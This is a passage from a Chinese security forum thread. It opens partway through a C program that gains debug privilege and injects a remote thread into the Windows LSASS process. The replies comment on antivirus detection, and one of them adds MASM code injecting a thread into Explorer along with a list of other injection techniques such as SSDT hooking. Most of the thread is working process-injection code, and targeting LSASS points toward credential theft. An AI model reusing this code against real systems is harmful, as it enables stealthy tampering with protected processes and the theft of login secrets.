                printf("写远程进程%08X错%d:%s\n",ThreadAddr,GetLastError(),GetErrorCode(GetLastError()));
                return;
        }
        //初始化线程参数
        ThreadParam tp;
        //初始化参数函数
        InitThreadParam(&tp);
        //将参数写进远程目标进程
        ThreadParam *tpaddr=(ThreadParam *)::VirtualAllocEx(lsasshWnd,
                NULL,
                sizeof(ThreadParam),
                MEM_COMMIT,
                PAGE_READWRITE);//注意申请空间时的页面属性
        if(tpaddr==NULL)
        {
                printf("分配指定进程内存参数错%d:%s\n",GetLastError(),GetErrorCode(GetLastError()));
                return;
        }
        if(!::WriteProcessMemory(lsasshWnd,tpaddr,&tp,sizeof(tp),0))
        {
                printf("写远程进程参数错%d:%s\n",GetLastError(),GetErrorCode(GetLastError()));
                return;
        }
        //启动线程
        printf("启动在LSASS.EXE进程中的远程线程....\n");
        DWORD        ThreadID;
        HANDLE hThread=::CreateRemoteThread(lsasshWnd,
                NULL,
                0,
                (DWORD (__stdcall *)(void *))ThreadAddr,
                tpaddr,
                0,
                &ThreadID);
        if(hThread==NULL)
        {   //还有内存分配未释放
                printf("启动远程线程错%d:%s\n",GetErrorCode(GetLastError()));
                return;
        }
        printf("等待远程线程返回.....");
        //等待远程线程结束
        WaitForSingleObject(hThread,INFINITE);
        //释放调用进程内存
        VirtualFreeEx(lsasshWnd,        //HANDLE
                0,                        //
                sizeof(tp), //SIZE
                MEM_DECOMMIT);//收回提交页面指定区域
        VirtualFreeEx(hThread,//HANDLE
                0,                        //
                THREADSIZE, //SIZE
                MEM_DECOMMIT);//收回提交页面指定区域
        CloseHandle(hThread);
        CloseHandle(lsasshWnd);
        return;
}
int main(int argc, char* argv[])
{
        printf("\t\tCopyRight By lankerr 2007-09-14\n");
        if(UpdateProcessPrivilege(::GetCurrentProcess(),SE_DEBUG_NAME))
                printf("提升权限成功!\n");
        //远程线程
        InjectThread();
        printf("\n程序执行完毕!\n");
        return 0;
}
zyr零零发 1 2010-10-15 16:57
18
0
所有的av都齐声说:是个thread!
qiyewenjie 2010-10-15 17:11
19
0
正在学习,谢谢楼主的例子!
correy 4 2010-10-18 11:09
20
0
;本文是用的远程线程注入办法。
;还有别的办法,如:
;1.hook创建进程的相关api;
;2.ssdt hook;
;3.修改EPROCESS结构等直接内核对象操作。
.386
.model flat, stdcall
option casemap :none
include windows.inc
include user32.inc
includelib user32.lib
include kernel32.inc
includelib kernel32.lib

.data
szDesktopClass db "Progman",0
szDesktopWindow db "Program Manager",0
szDllkernel db "Kernel32.dll",0
szsleep db "Sleep",0

.data?
lpsleep dd ?
dwProcessID dd ?
hProcess dd ?
lpRemoteCode dd ?

.code

startcode_ipsleep dd ?

RemoteThread proc uses ebx edi esi lParam
call @F
@@:pop ebx
sub ebx,offset @B
begin:push 1000
call [ebx+startcode_ipsleep]
jmp begin
ret
RemoteThread endp

lcl dd "lcl",0

start:invoke GetModuleHandle,addr szDllkernel
mov ebx,eax
invoke GetProcAddress,ebx,offset szsleep
mov lpsleep,eax
invoke FindWindow,addr szDesktopClass,addr szDesktopWindow
invoke GetWindowThreadProcessId,eax,offset dwProcessID
invoke OpenProcess,PROCESS_CREATE_THREAD or PROCESS_VM_OPERATION or PROCESS_VM_WRITE,FALSE,dwProcessID
   mov hProcess,eax
   invoke VirtualAllocEx,hProcess,0,offset lcl - offset startcode_ipsleep,MEM_COMMIT,PAGE_EXECUTE_READWRITE
    mov lpRemoteCode,eax
    invoke WriteProcessMemory,hProcess,lpRemoteCode,offset startcode_ipsleep,offset lcl - offset startcode_ipsleep,0
    invoke WriteProcessMemory,hProcess,lpRemoteCode,offset lpsleep,4,0
    mov eax,lpRemoteCode
    add eax,offset RemoteThread - offset startcode_ipsleep
    invoke CreateRemoteThread,hProcess,0,0,eax,0,0,0
    invoke CloseHandle,eax
    invoke CloseHandle,hProcess
ret
end start
可乐番茄 2010-10-18 20:57
21
0
360也会报
littlejia 2010-10-19 10:07
22
0
非常好,要的就是原创啊 呵呵,我以后会多加努力 向你学习
游客
登录 | 注册 方可回帖
返回